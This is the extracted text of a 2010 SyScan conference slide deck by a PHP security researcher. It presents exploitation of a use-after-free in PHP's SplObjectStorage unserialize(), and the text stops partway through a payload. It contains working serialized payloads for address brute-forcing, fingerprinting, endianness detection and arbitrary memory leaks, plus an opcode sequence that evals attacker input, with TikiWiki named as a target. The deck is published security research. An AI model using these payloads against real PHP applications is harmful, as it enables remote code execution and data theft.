SlideShare a Scribd company logo
http://www.sektioneins.de




Returning into the PHP Interpreter
memory corruption exploits against PHP are not over yet
Stefan Esser <stefan.esser@sektioneins.de>



                                            SyScan 2010
                                              Singapore
Who am I?



 Stefan Esser
 • from Cologne/Germany
 • Information Security since 1998
 • PHP Core Developer since 2001
 • Suhosin / Hardened-PHP 2004
 • Month of PHP Bugs 2007 / Month of PHP Security 2010
 • Head of Research & Development at SektionEins GmbH



                         Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  2
Month of PHP Security 2010



• May 2010 was the Month of PHP Security
• PHP security conference without a conference
• sponsored by SyScan/Coseinc, SektionEins and CodeScan Ltd.
• We disclosed 60 vulnerabilities in PHP and PHP applications in 31 days
• We released 10 user submitted PHP security articles/tools
• Submitters could win attractive prizes
• Winner was Solar Designer -
  if you haven‘t heard of him leave the room NOW




                         Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  3
Part I
Introduction




               Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  4
Introduction (I)




 Random Quotes from the Web Application Security World

   • „80% of web sites are vulnerable to XSS“
   • „Web Applications don‘t get hacked by memory
      corruption or buffer overflow bugs“

   • „Attacking webservers via memory corruption
      vulnerabilities has become too difficult anyway“




                             Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  5
Introduction (II)




 SektionEins‘s reality

   • „80% of PHP application source code we audit contains
      remote code exec vulnerabilities“

   • „Web Applications expose buffer overflows and memory corruption
      vulnerabilities in PHP to remote attackers“

   • „There are still sweet bugs that can be exploited“




                              Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  6
Introduction (III)




 What the talk is about?

   • Returning into the PHP interpreter in memory corruption exploits
   • A 0-day vulnerability in a PHP function
   • and how to exploit it




                              Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  7
Part II
Returning into the PHP Interpreter




                   Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  8
Why return into the PHP interpreter?




• bypassing true NX requires ROP
• bypassing ASLR requires information leaks
• returning into the PHP interpreter requires only one leaked address
• PHP is a powerful scripting language to write shellcode in
• local vulnerabilities in PHP allow arbitrary memory access




                         Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  9
How to return into the PHP interpreter?




• returning into PHP functions?
• returning into the bytecode executor?
• returning into opcode handlers?
• returning into zend_eval_string() functions?




                        Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  10
Returning into PHP functions


• There are two kinds of PHP functions
     • user-space (byecode executor)
     • internal (C function)
• Argument stack on heap - no control over arguments
• For PHP 5.3.x call stack is also on heap
• only useable if there a PHP function that
     • does exactly what we need
     • does not require parameters - but allows the same function parameters as
        current function




                               Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  11
Returning into the bytecode executor (I)
                                                               struct _zend_op_array {
                                                                /* Common elements */
                                                                zend_uchar type;
                                                                char *function_name;
                                                                ...
                                                                /* END of common elements */
                                                                zend_bool done_pass_two;
                                                                zend_uint *refcount;
• Returning into the execute() function                         zend_op *opcodes;
                                                                zend_uint last, size;
• Requires an op_array struct parameter                         zend_compiled_variable *vars;
                                                                int last_var, size_var;
                                                                zend_uint T;
• Several fields have to be valid data                           zend_brk_cont_element *brk_cont_array;
                                                                int last_brk_cont;
                                                                int current_brk_cont;
      • last_var                                                zend_try_catch_element *try_catch_array;
                                                                int last_try_catch;
      • T                                                       /* static variables support */
                                                                HashTable *static_variables;
                                                                zend_op *start_op;
      • this_var = -1                                           int backpatch_count;
                                                                zend_uint this_var;
      • opcodes = start_op                                      char *filename;
                                                                zend_uint line_start;
                                                                zend_uint line_end;
                                                                char *doc_comment;
                                                                zend_uint doc_comment_len;
                                                                zend_uint early_binding;
                                                                void *reserved[ZEND_MAX_RESERVED_RESOURCES];
                                                               };



                             Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  12
Returning into the bytecode executor (II)

                                                                 struct _zend_op {
                                                                  opcode_handler_t handler;
                                                                  znode result;
                                                                  znode op1;
                                                                  znode op2;
                                                                  ulong extended_value;
• Opcode injection requires to know                               uint lineno;
   the handler address                                            zend_uchar opcode;
                                                                 };

• Alternatively before returning to execute() a
   return into pass_two() is required                            typedef struct _znode {
                                                                  int op_type;
• Injected opcodes should use as few data                         union {
   pointers as possible                                                zval constant;
                                                                       zend_uint var;
                                                                       zend_uint opline_num;
• easiest solution just creates a string                               zend_op_array *op_array;
   char by char and evaluates it                                       zend_op *jmp_addr;
                                                                       struct {
                                                                           zend_uint var;
                                                                           zend_uint type;
                                                                       } EA;
                                                                  } u;
                                                                 } znode;




                               Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  13
Returning into the bytecode executor (III)


                   ADD_CHAR        ~1,     101
                   ADD_CHAR        ~1,     ~1,    118
                   ADD_CHAR        ~1,     ~1,    97
                   ADD_CHAR        ~1,     ~1,    108
                   ADD_CHAR        ~1,     ~1,    40
                   ADD_CHAR        ~1,     ~1,    36
                   ADD_CHAR        ~1,     ~1,    95
                   ADD_CHAR        ~1,     ~1,    80
                   ADD_CHAR        ~1,     ~1,    79
                   ADD_CHAR        ~1,     ~1,    83
                   ADD_CHAR        ~1,     ~1,    84
                   ADD_CHAR        ~1,     ~1,    91
                   ADD_CHAR        ~1,     ~1,    39
                   ADD_CHAR        ~1,     ~1,    120
                   ADD_CHAR        ~1,     ~1,    39
                   ADD_CHAR        ~1,     ~1,    93
                   ADD_CHAR        ~1,     ~1,    41
                   ADD_CHAR        ~1,     ~1,    59
                   EVAL ~1




                  Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  14
Returning into Opcode handlers (I)



                                                      struct _zend_execute_data {
                                                       struct _zend_op *opline;
                                                       zend_function_state function_state;
                                                       zend_function *fbc; /* Function Being Called */
• Returning into the C implementation                  zend_class_entry *called_scope;
                                                       zend_op_array *op_array;
   of an opcode handler                                zval *object;
                                                       union _temp_variable *Ts;
• Difficulty: opcode handlers are fastcall              zval ***CVs;
                                                       HashTable *symbol_table;
                                                       struct _zend_execute_data *prev_execute_data;
• parameter execute_data is                            zval *old_error_reporting;
   passed in ECX                                       zend_bool nested;
                                                       zval **original_return_value;
                                                       zend_class_entry *current_scope;
• need to return into pop ecx, ret first                zend_class_entry *current_called_scope;
                                                       zval *current_this;
                                                       zval *current_object;
                                                       struct _zend_op *call_opline;
                                                      };




                              Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  15
Returning into Opcode handlers (II)




• There seem to be several interesting opcodes
     • ZEND_INCLUDE_OR_EVAL
     • ZEND_JMPxx
     • ZEND_GOTO
• But only ZEND_INCLUDE_OR_EVAL is directly useful
• Requires to know the address of the handler and the string to eval




                          Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  16
Returning into zend_eval_string() functions (I)




• returning into C functions evaluating PHP code
     • zend_eval_string()

     • zend_eval_stringl()

     • zend_eval_string_ex()

     • zend_eval_stringl_ex()

• easiest way to return into PHP shellcode
• like ret2libc but returning into PHP‘s own C functions




                                Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  17
Returning into zend_eval_string() functions (II)


 pro:
    • simple arguments
         • pointer to PHP code

         • NULL (or empty writeable memory address)

         • pointer to readable memory

    • only one function address must be known: zend_eval_string()
 con:
    • plaintext PHP code in request data (obfucate PHP code!!!)
    • eval() could be disabled by Suhosin


                           Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  18
Part III
PHP‘s unserialize()




                      Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  19
unserialize()



 • allows to deserialize serialized PHP variables
 • supports most PHP variable types
      • integers / floats / boolean

      • strings / array / objects

      • references

 • often exposed to user input
 • many vulnerabilities in the past




                                    Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  20
unserialize()

 a:6:{i:0;i:0;i:1;d:2;i:2;s:4:"ABCD";i:3;r:3;i:                                               var_table
 4;O:8:"stdClass":2:{s:1:"a";r:6;s:1:"b";N;};i:
                                                                                                 1
 5;C:16:"SplObjectStorage":14:{x:i:0;m:a:0:{}}

                                                                    array




                                                               Unserialize keeps a table of
                                                               all created variables during
                                                                deserialization in order to
                                                                    support references

                       Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  21
unserialize()

 a:6:{i:0;i:0;i:1;d:2;i:2;s:4:"ABCD";i:3;r:3;i:                                               var_table
 4;O:8:"stdClass":2:{s:1:"a";r:6;s:1:"b";N;};i:
                                                                                                 1
 5;C:16:"SplObjectStorage":14:{x:i:0;m:a:0:{}}
                                                                                                 2


                                                                    array

                                                         0                  0




                       Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  22
unserialize()

 a:6:{i:0;i:0;i:1;d:2;i:2;s:4:"ABCD";i:3;r:3;i:                                               var_table
 4;O:8:"stdClass":2:{s:1:"a";r:6;s:1:"b";N;};i:
                                                                                                 1
 5;C:16:"SplObjectStorage":14:{x:i:0;m:a:0:{}}
                                                                                                 2

                                                                                                 3
                                                                    array

                                                         0                  0

                                                         1                 2.0




                       Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  23
unserialize()

 a:6:{i:0;i:0;i:1;d:2;i:2;s:4:"ABCD";i:3;r:3;i:                                               var_table
 4;O:8:"stdClass":2:{s:1:"a";r:6;s:1:"b";N;};i:
                                                                                                 1
 5;C:16:"SplObjectStorage":14:{x:i:0;m:a:0:{}}
                                                                                                 2

                                                                                                 3
                                                                    array
                                                                                                 4
                                                         0                  0

                                                         1                 2.0

                                                         2              “ABCD“




                       Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  24
unserialize()

 a:6:{i:0;i:0;i:1;d:2;i:2;s:4:"ABCD";i:3;r:3;i:                                               var_table
 4;O:8:"stdClass":2:{s:1:"a";r:6;s:1:"b";N;};i:
                                                                                                 1
 5;C:16:"SplObjectStorage":14:{x:i:0;m:a:0:{}}
                                                                                                 2

                                                                                                 3
                                                                    array
                                                                                                 4
                                                         0                  0
                                                                                                 5
                                                         1                 2.0

                                                         2              “ABCD“

                                                         3                 2.0




                       Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  25
unserialize()

 a:6:{i:0;i:0;i:1;d:2;i:2;s:4:"ABCD";i:3;r:3;i:                                                   var_table
 4;O:8:"stdClass":2:{s:1:"a";r:6;s:1:"b";N;};i:
                                                                                                     1
 5;C:16:"SplObjectStorage":14:{x:i:0;m:a:0:{}}
                                                                                                     2

                                                                                                     3
                                                                        array
                                                                                                     4
                                                             0                  0
                                                                                                     5
                stdClass                                     1                 2.0
                                                                                                     6
                                                             2              “ABCD“

                                                             3                 2.0

                                                             4              stdClass




                           Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  26
unserialize()

 a:6:{i:0;i:0;i:1;d:2;i:2;s:4:"ABCD";i:3;r:3;i:                                                      var_table
 4;O:8:"stdClass":2:{s:1:"a";r:6;s:1:"b";N;};i:
                                                                                                        1
 5;C:16:"SplObjectStorage":14:{x:i:0;m:a:0:{}}
                                                                                                        2

                                                                                                        3
                                                                           array
                                                                                                        4
                                                                0                  0
                                                                                                        5
                stdClass                                        1                 2.0
                                                                                                        6
                                                                2              “ABCD“
            a      stdClass                                                                             7
                                                                3                 2.0

                                                                4              stdClass




                              Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  27
unserialize()

 a:6:{i:0;i:0;i:1;d:2;i:2;s:4:"ABCD";i:3;r:3;i:                                                      var_table
 4;O:8:"stdClass":2:{s:1:"a";r:6;s:1:"b";N;};i:
                                                                                                        1
 5;C:16:"SplObjectStorage":14:{x:i:0;m:a:0:{}}
                                                                                                        2

                                                                                                        3
                                                                           array
                                                                                                        4
                                                                0                  0
                                                                                                        5
                stdClass                                        1                 2.0
                                                                                                        6
                                                                2              “ABCD“
            a      stdClass                                                                             7
                                                                3                 2.0
            b       NULL                                                                                8
                                                                4              stdClass




                              Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  28
unserialize()

 a:6:{i:0;i:0;i:1;d:2;i:2;s:4:"ABCD";i:3;r:3;i:                                                      var_table
 4;O:8:"stdClass":2:{s:1:"a";r:6;s:1:"b";N;};i:
                                                                                                        1
 5;C:16:"SplObjectStorage":14:{x:i:0;m:a:0:{}}
                                                                                                        2

                                                                                                        3
                                                                           array
                                                                                                        4
                                                                0                  0
                                                                                                        5
                stdClass                                        1                 2.0
                                                                                                        6
                                                                2              “ABCD“
            a      stdClass                                                                             7
                                                                3                 2.0
            b       NULL                                                                                8
                                                                4              stdClass
                                                                                                        9
                                                                5         splObjectStorage


                             splObjectStorage

                       ...                 ...




                              Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  29
Part IV
SplObjectStorage Deserialization Vulnerability




                   Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  30
SplObjectStorage

• provides an object set in PHP 5.2

   <?php

        $x = new SplObjectStorage();
                                              C:16:"SplObjectStorage":47:{x:i:2;O:5:"Alpha":0:
        $x->attach(new Alpha());
                                              {};O:4:"Beta":0:{};m:a:0:{}}
        $x->attach(new Beta());

   ?>



• provides a map from objects to data in PHP 5.3

   <?php

        $x = new SplObjectStorage();
                                              C:16:"SplObjectStorage":61:{x:i:2;O:5:"Alpha":0:{},
        $x->attach(new Alpha(), 123);
                                              i:123;;O:4:"Beta":0:{},i:456;;m:a:0:{}}
        $x->attach(new Beta(), 456);

   ?>




                               Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  31
Object Set/Map Index


• key to the object set / map is derived from the object value

   zend_object_value zvalue;
   memset(&zvalue, 0, sizeof(zend_object_value));
   zvalue.handle = Z_OBJ_HANDLE_P(obj);
   zvalue.handlers = Z_OBJ_HT_P(obj);
   zend_hash_update(&intern->storage, (char*)&zvalue, sizeof(zend_object_value), &element,
   sizeof(spl_SplObjectStorageElement), NULL);




                          typedef struct _zend_object_value {
                              zend_object_handle handle;
                              zend_object_handlers *handlers;
                          } zend_object_value;




                                Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  32
Vulnerability in PHP 5.3.x




• references allow to attach the same object again
• in PHP 5.3.x this will destruct the previously stored extra data
• destruction of the extra data will not touch the internal var_table
• references allow to still access/use the freed PHP variables
• use-after-free vulnerability allows to info leak or execute code




                          Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  33
Vulnerability in PHP 5.2.x (I)


• in PHP 5.2.x there is no extra data
• attaching the same object will just decrease the reference counter
• unserializer is not protected against type confusion attacks
• on x86 systems a double can collide with an object
                               object              object
                               handle             handlers
                           ⎫
                           ⎬
                           ⎭
                                              ⎫
                                              ⎬
                                              ⎭
              object ZVAL: 18 00 00 00 80 40 B5 01 01 00 00 00 05 00
              double ZVAL: 18 00 00 00 80 40 B5 01 01 00 00 00 02 00
                          ⎭
                          ⎪
                          ⎪
                          ⎬
                          ⎪
                          ⎪
                          ⎫
                                      double value
                                    with same binary
                                     representation

                               1.983367467369837e-300




                           Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  34
Vulnerability in PHP 5.2.x (II)




• double with same binary representation will destruct the object
• destruction of object will not touch the internal var_table
• references allow to still access/use the freed object/properties
• use-after-free vulnerability allows to info leak or execute code
• exploit works against 32 bit PHP 5.3.x, too




                          Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  35
Vulnerable Applications


• discussed vulnerability allows arbitrary code execution in any PHP
  application unserializing user input

• but in order to exploit it nicely the PHP applications should
  re-serialize and echo the result

• both is quite common in widespread PHP applications e.g. TikiWiki 4.2

      if (!isset($_REQUEST['printpages']) && !isset($_REQUEST['printstructures'])) {
          ...
      } else {
          $printpages = unserialize(urldecode($_REQUEST["printpages"]));
          $printstructures = unserialize(urldecode($_REQUEST['printstructures']));
      }
      ...
      $form_printpages = urlencode(serialize($printpages));
      $smarty->assign_by_ref('form_printpages', $form_printpages);




                                Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  36
Part V
Bruteforcing the Object Handlers Address




                  Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  37
Object Handler Address Bruteforcing (I)


• in order to exploit PHP 5.2.x a double collision is required
• a double collision occurs when object handle and object handlers
  matches the binary representation of a double

• object handle is a small number
• object handlers is a pointer into the data segment


                      typedef struct _zend_object_value {
                          zend_object_handle handle;
                          zend_object_handlers *handlers;
                      } zend_object_value;




                           Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  38
Object Handler Address Bruteforcing (II)

• object handle
     • small number depending on number of objects
     • bruteforcing not required we can just serialize 50 stdClass objects
     • assume 49 as handle


• object handlers
     • low 12 bits of address are known for a known PHP binary
     • shared library randomization usually worse than 17 bit
     • we can bruteforce multiple addresses with one request
     • bruteforcing doesn‘t crash the process


                             Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  39
Object Handler Address Bruteforcing (III)

  serialized payload tries 16 different addresses

  0x2190620 - 0x2191620 - ... - 0x219F620

a:1:{i:0;C:16:"SPLObjectStorage":1468:{x:i:67;O:8:"stdclass":0:{};O:8:"stdclass":0:{};O:
8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O:
8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O:
8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O:
8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O:
8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O:
8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O:
8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O:
8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O:
8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O:
8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O:
8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O:
8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};O:8:"stdclass":0:{};i:0;;d:
1.49465084952099366e-298;;d:1.49838390399500653e-298;;d:1.50211695846901941e-298;;d:
1.50585001294303228e-298;;d:1.50958306741704516e-298;;d:1.51331612189105804e-298;;d:
1.51704917636507091e-298;;d:1.52078223083908379e-298;;d:1.52451528531309666e-298;;d:
1.52824833978710954e-298;;d:1.53198139426112241e-298;;d:1.53571444873513529e-298;;d:
1.53944750320914816e-298;;d:1.54318055768316104e-298;;d:1.54691361215717392e-298;;d:
1.55064666663118679e-298;;m:a:0:{}}}}


                                Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  40
Object Handler Address Bruteforcing (III)
a:1:{i:0;C:16:"SplObjectStorage":2759:{x:i:66;O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:
8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};d:
1.498383903995006533587932934186705130879643680980753130639055833542348720431762506685108651824309255E-298;;O:
8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":
0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:
8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":
0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:
8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":
0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:
8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};O:8:"stdClass":
0:{};O:8:"stdClass":0:{};O:8:"stdClass":0:{};i:0;;d:
1.494650849520993658071972576007809862201175315195266298540568976183164852787859404147290890515917731E-298;;d:
1.50211695846901940910389329236560039955811204676623996273754269090153258807566560922292641313270078E-298;;d:
1.505850012943032284619853650544495668236580412551726794836029548260716455719568711760744174441092304E-298;;d:
1.509583067417045160135814008723390936915048778337213626934516405619900323363471814298561935749483829E-298;;d:
1.513316121891058035651774366902286205593517144122700459033003262979084191007374916836379697057875353E-298;;d:
1.517049176365070911167734725081181474271985509908187291131490120338268058651278019374197458366266877E-298;;d:
1.520782230839083786683695083260076742950453875693674123229976977697451926295181121912015219674658402E-298;;d:
1.524515285313096662199655441438972011628922241479160955328463835056635793939084224449832980983049926E-298;;d:
1.528248339787109537715615799617867280307390607264647787426950692415819661582987326987650742291441451E-298;;d:
1.531981394261122413231576157796762548985858973050134619525437549775003529226890429525468503599832975E-298;;d:
1.535714448735135288747536515975657817664327338835621451623924407134187396870793532063286264908224499E-298;;d:
1.539447503209148164263496874154553086342795704621108283722411264493371264514696634601104026216616024E-298;;d:
1.543180557683161039779457232333448355021264070406595115820898121852555132158599737138921787525007548E-298;;d:
1.546913612157173915295417590512343623699732436192081947919384979211738999802502839676739548833399073E-298;;d:
1.550646666631186790811377948691238892378200801977568780017871836570922867446405942214557310141790597E-298;;m:a:
0:{}}}


>>> struct.pack("d",1.4983839039950065335879329341867051308796436809807531306390558....E-298)

'x31x00x00x00x20x16x19x02' => 0x2191620


                                         Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  41
Part VI
Simple Information Leaks via unserialize()




                    Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  42
DWORD Size?



• for the following steps it is required to know if target is 32 bit or 64 bit
• we can detect the bit size by sending integers larger than 32 bit
      - sending:
            ➡ i:11111111111;
      - answer:
            ➡ 64 bit PHP - i:11111111111;

            ➡ 32 bit PHP - i:-1773790777;

            ➡ 32 bit PHP - d:11111111111;




                            Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  43
PHP 5.2.x vs. PHP 5.3.x



• as demonstrated the exploit is different for PHP 5.2.x and 5.3.x
• we can detect a difference in the ArrayObject implementation
     - sending:
           ➡ O:11:"ArrayObject":0:{}
     - answer:
           ➡ PHP 5.2.x - O:11:"ArrayObject":0:{}

           ➡ PHP 5.3.x - C:11:"ArrayObject":21:{x:i:0;a:0:{};m:a:0:{}}




                          Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  44
SplObjectStorage Version


• bugfix in the latest versions of PHP 5.2.x and PHP 5.3.x
• stored objects counter is no longer put in var_table
• can be detected by references
     - sending:
           ➡ C:16:"SplObjectStorage":38:{x:i:0;m:a:3:{i:1;i:1;i:2;i:2;i:3;r:4;}}

     - answer:
           ➡ PHP <= 5.2.12 - PHP <= 5.3.1
              C:16:"SplObjectStorage":38:{x:i:0;m:a:3:{i:1;i:1;i:2;i:2;i:3;i:2;}}

           ➡ PHP >= 5.2.13 - PHP >= 5.3.2
              C:16:"SplObjectStorage":38:{x:i:0;m:a:3:{i:1;i:1;i:2;i:2;i:3;i:1;}}




                            Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  45
Part VII
Leak-After-Free Attacks




                   Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  46
Endianess?




• for portability we need to detect the endianess remotely
• no simple info leak available
• we need a leak-after-free attack for this




                           Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  47
Creating a fake integer ZVAL



• we construct a string that represents an integer ZVAL
                                integer                                    reference
                                 value                                      counter




                             ⎫
                             ⎬
                             ⎭




                                                                        ⎫
                                                                        ⎬
                                                                        ⎭
     32 bit integer ZVAL: 00 01 00 00 41 41 41 41 00 01 01 00 01 00

• string is a valid integer no matter what endianess
     • reference counter is choosen to be not zero or one (0x101)
     • type is set to integer variable (0x01)
     • value will be 0x100 for little endian and 0x10000 for big endian
• when sent to the server the returned value determines endianess



                             Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  48
Endianess Unserialize Payload

                                                                                             orange numbers are not
                                                                                             valid because serialized
                                                                                             strings were modified to
                                                                                             enhance visibilty


• create an array of integer variables
• free the array
• create a fake ZVAL string which will reuse the memory
• create a reference to one of the already freed integer variables
• reference will point to our fake ZVAL

        a:1:{i:0;C:16:"SPLObjectStorage":159:{x:i:2;i:0;,a:10:{i:1;i:1;i:
        2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:
              10;i:10;};i:0;,i:0;;m:a:2:{i:1;S:19:"00010000AAAA
                     0001010001x00BBCCC";i:2;r:11;}}}}




                              Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  49
Endianess Payload Reply




• for little endian systems the reply will be

      a:1:{i:0;C:16:"SplObjectStorage":65:{x:i:1;i:0;,i:0;;m:a:2:{i:1;S:
         19:"00010000AAAA0001010001x00BBCCC";i:2;i:256;}}}


• and for big endian systems it is

      a:1:{i:0;C:16:"SplObjectStorage":67:{x:i:1;i:0;,i:0;;m:a:2:{i:1;S:
        19:"00010000AAAA0001010001x00BBCCC";i:2;i:65536;}}}




                               Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  50
Leak Arbitrary Memory?




• we want a really stable, portable, non-crashing exploit
• this requires more info leaks - it would be nice to leak arbitrary memory
• is that possible with a leak-after-free attack? Yes it is!




                            Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  51
Creating a fake string ZVAL


• we construct a string that represents a string ZVAL
                                  string                  string            reference
                                 pointer                 length              counter




                              ⎫
                              ⎬
                              ⎭

                                                    ⎫
                                                    ⎬
                                                    ⎭
                                                                         ⎫
                                                                         ⎬
                                                                         ⎭
      32 bit string ZVAL: 18 21 34 B7 00 04 00 00 00 01 01 00 06 00


• our fake string ZVAL
     • string pointer points where we want to leak (0xB7342118)
     • length is set to 1024 (0x400)
     • reference counter is choosen to be not zero or one (0x101)
     • type is set to string variable (0x06)
• when sent to the server the returned value contains 1024 leaked bytes


                              Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  52
Arbitrary Leak Unserialize Payload



• create an array of integer variables
• free the array
• create a fake ZVAL string which will reuse the memory
• create a reference to one of the already freed integer variables
• reference will point to our fake string ZVAL

        a:1:{i:0;C:16:"SPLObjectStorage":159:{x:i:2;i:0;,a:10:{i:1;i:1;i:
        2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:
             10;i:10;};i:0;,i:0;;m:a:2:{i:1;S:19:"182134B70004
                  00000001010006x00BBCCC";i:2;r:11;}}}}




                              Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  53
Arbitrary Leak Response


• the response will look a lot like this


       a:1:{i:0;C:16:"SplObjectStorage":1093:{x:i:1;i:0;,i:0;;m:a:2:{i:
       1;S:19:"182134B700040000000101000600BBCCC";i:2;s:
      1024:"??Y?`?R?0?R?P?R???Q???Q?@?Q???Q??Q???Q?P?Q?`?R?0?R?cR?p?R??
      R??R???R?0?R?`|R?@?R???R?p?R??gR??R??hR??gR??jR?0hR???R??kR?`?R?0?
                     R?P?R???R??R?.......................
        !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]
                       ^_`abcdefghijklmnopqrstuvwxyz{|}
       ~????????????????????????????????????????????????????@?N22PAPQY?
       TY???d??9Y???]?s6??BY?`?J?PBY??AY?`8Y??=Y?`]P? @Y??>Y?0>Y??=Y?
                       <Y?;Y?`9Y??2??]?ve??TY??TY?UY???
                      Y???e???e??e?`?e??e?`?e???e???";}}}




                                Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  54
Starting Point?




• wait a second...
• how do we know where to start when leaking memory
• can we leak some PHP addresses
• is that possible with a leak-after-free attack? Yes it is!




                            Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  55
Creating a fake string ZVAL


• we again construct a string that represents a string ZVAL
                                  string                  string            reference
                                 pointer                 length              counter




                              ⎫
                              ⎬
                              ⎭

                                                    ⎫
                                                    ⎬
                                                    ⎭
                                                                         ⎫
                                                                         ⎬
                                                                         ⎭
     32 bit string ZVAL: 41 41 41 41 00 04 00 00 00 01 01 00 06 00


• our fake string ZVAL
     • pointer points where anywhere - will be overwritten by a free (0x41414141)
     • length is set to 1024 (0x400)
     • reference counter is choosen to be not zero or one (0x101)
     • type is set to string variable (0x06)
• when sent to the server the returned value contains 1024 leaked bytes


                              Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  56
Starting Point Leak Unserialize Payload
                                         a:1:{i:0;C:16:"SPLObjectStorage":1420:{x:i:6;i:1;,a:40:{i:0;i:0;i:1;i:
                                        1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:
                                         10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:
• create an array of integer             17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:
   variables to allocate memory          24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:
                                         31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:
                                        38;i:39;i:39;};i:0;,a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:
